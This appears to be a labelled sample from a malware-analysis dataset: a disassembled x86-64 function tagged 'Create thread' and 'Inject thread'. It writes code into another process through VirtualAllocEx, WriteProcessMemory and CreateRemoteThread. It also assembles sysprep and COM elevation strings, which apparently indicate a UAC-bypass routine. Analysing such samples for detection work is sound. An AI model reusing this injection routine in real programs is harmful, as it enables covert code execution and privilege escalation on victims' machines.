Function at 0x140009a30
Capabilities:
Create thread
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x1180]
mov eax, 0x1280
call fcn.140007be0
sub rsp, rax
mov rax, qword [0x140010050]
xor rax, rsp
mov qword [rbp + 0x1170], rax
xor r13d, r13d
lea r14, [fcn.1400093d0]
lea r12, [fcn.140009a30]
mov rdi, r8
mov rsi, rdx
movzx ebx, cl
mov dword [rsp + 0x40], r13d
cmp r14, r12
jae 0x140009e8d
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x1008
call fcn.140005970
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rsp + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, r13d
mov qword [rsp + 0x68], rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r8, [0x140000000]
mov qword [rsp + 0x70], rax
nop dword [rax + rax]
movzx eax, word [rcx + r8 + 0xdc58]
add rcx, 2
mov word [rbp + rcx + 0xdde], ax
test ax, ax
jne 0x140009af0
mov rcx, r13
nop dword [rax]
movzx eax, word [rcx + r8 + 0xdc70]
add rcx, 2
mov word [rbp + rcx + 0xe06], ax
test ax, ax
jne 0x140009b10
mov eax, dword [str.CoUninitialize]
movups xmm0, xmmword [str.SHCreateItemFromParsingName]
movsd xmm1, qword [0x14000dcc0]
mov dword [rbp + 0xe44], eax
mov eax, dword [0x14000dc8c]
mov rcx, r13
mov dword [rbp + 0xe48], eax
mov eax, dword [0x14000dc90]
movaps xmmword [rbp + 0xe80], xmm0
movsd qword [rbp + 0xe90], xmm1
mov dword [rbp + 0xe4c], eax
movzx eax, word [0x14000dc94]
mov word [rbp + 0xe50], ax
movzx eax, byte [0x14000dc96]
mov byte [rbp + 0xe52], al
mov eax, dword [str.CoCreateInstance]
mov dword [rbp + 0xe6c], eax
mov eax, dword [0x14000dc9c]
mov dword [rbp + 0xe70], eax
mov eax, dword [0x14000dca0]
mov dword [rbp + 0xe74], eax
mov eax, dword [0x14000dca4]
mov dword [rbp + 0xe78], eax
movzx eax, byte [0x14000dca8]
mov byte [rbp + 0xe7c], al
mov eax, dword [0x14000dcc8]
mov dword [rbp + 0xe98], eax
mov rax, qword [str.ShellExecuteExW]
mov qword [rbp + 0xe9e], rax
mov rax, qword [0x14000dcd8]
mov qword [rbp + 0xea6], rax
mov rax, qword [str.CoInitialize]
mov qword [rbp + 0xe30], rax
mov eax, dword [0x14000dce8]
mov dword [rbp + 0xe38], eax
movzx eax, byte [0x14000dcec]
mov byte [rbp + 0xe3c], al
mov rax, qword [str.CoGetObject]
mov qword [rbp + 0xe58], rax
mov eax, dword [0x14000dcf8]
mov dword [rbp + 0xe60], eax
movzx eax, word [rcx + r8 + 0xdd00]
add rcx, 2
mov word [rbp + rcx + 0xf5e], ax
test ax, ax
jne 0x140009c30
lea rcx, [rsp + 0x78]
sub rcx, rdi
nop word [rax + rax]
movzx eax, word [rdi]
add rdi, 2
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140009c60
mov rcx, r13
movzx eax, word [rbp + rcx + 0xf60]
add rcx, 2
mov word [rbp + rcx + 0x17e], ax
test ax, ax
jne 0x140009c74
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x180]
repne scasw ax, word [rdi]
mov rax, qword [str._sysprep]
mov rcx, r13
mov qword [rdi - 2], rax
mov rax, qword [0x14000dd30]
mov qword [rdi + 6], rax
movzx eax, word [0x14000dd38]
mov word [rdi + 0xe], ax
movzx eax, word [rcx + r8 + 0xdd40]
add rcx, 2
mov word [rbp + rcx + 0x386], ax
test ax, ax
jne 0x140009cc1
mov rdx, r13
nop
movzx eax, word [rbp + rdx + 0xf60]
add rdx, 2
mov word [rbp + rdx + 0x796], ax
test ax, ax
jne 0x140009ce0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x798]
repne scasw ax, word [rdi]
mov rax, qword [str._sysprep_sysprep.exe]
mov rcx, r13
mov qword [rdi - 2], rax
mov rax, qword [0x14000dd68]
mov qword [rdi + 6], rax
mov rax, qword [0x14000dd70]
mov qword [rdi + 0xe], rax
mov rax, qword [0x14000dd78]
mov qword [rdi + 0x16], rax
mov rax, qword [0x14000dd80]
mov qword [rdi + 0x1e], rax
movzx eax, word [0x14000dd88]
mov word [rdi + 0x26], ax
nop
movzx eax, word [rcx + r8 + 0xdd90]
add rcx, 2
mov word [rbp + rcx + 0xba6], ax
test ax, ax
jne 0x140009d50
movups xmm0, xmmword [0x14000de18]
movups xmm1, xmmword [0x14000de28]
movaps xmmword [rbp + 0xdb0], xmm0
movaps xmmword [rbp + 0xdc0], xmm1
movups xmm0, xmmword [0x14000de38]
movaps xmmword [rbp + 0xdd0], xmm0
test bl, bl
jne 0x140009da7
lea rcx, [rsp + 0x50]
call fcn.1400093d0
jmp 0x140009e8f
mov r9d, 0x1000
xor edx, edx
mov rcx, rsi
lea r8d, [r9 + 8]
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140009e8d
lea r8, [rsp + 0x50]
mov r9d, 0x1008
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140009e8d
sub r12, r14
mov r9d, 0x1000
xor edx, edx
mov rcx, rsi
mov r8, r12
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x140009e8d
mov r9, r12
mov r8, r14
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140009e8d
mov qword [rsp + 0x30], r13
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x140009e8d
mov edx, 0xa10e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140009e7e
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
jmp 0x140009e8f
xor eax, eax
mov rcx, qword [rbp + 0x1170]
xor rcx, rsp
call fcn.140001010
lea r11, [rsp + 0x1280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret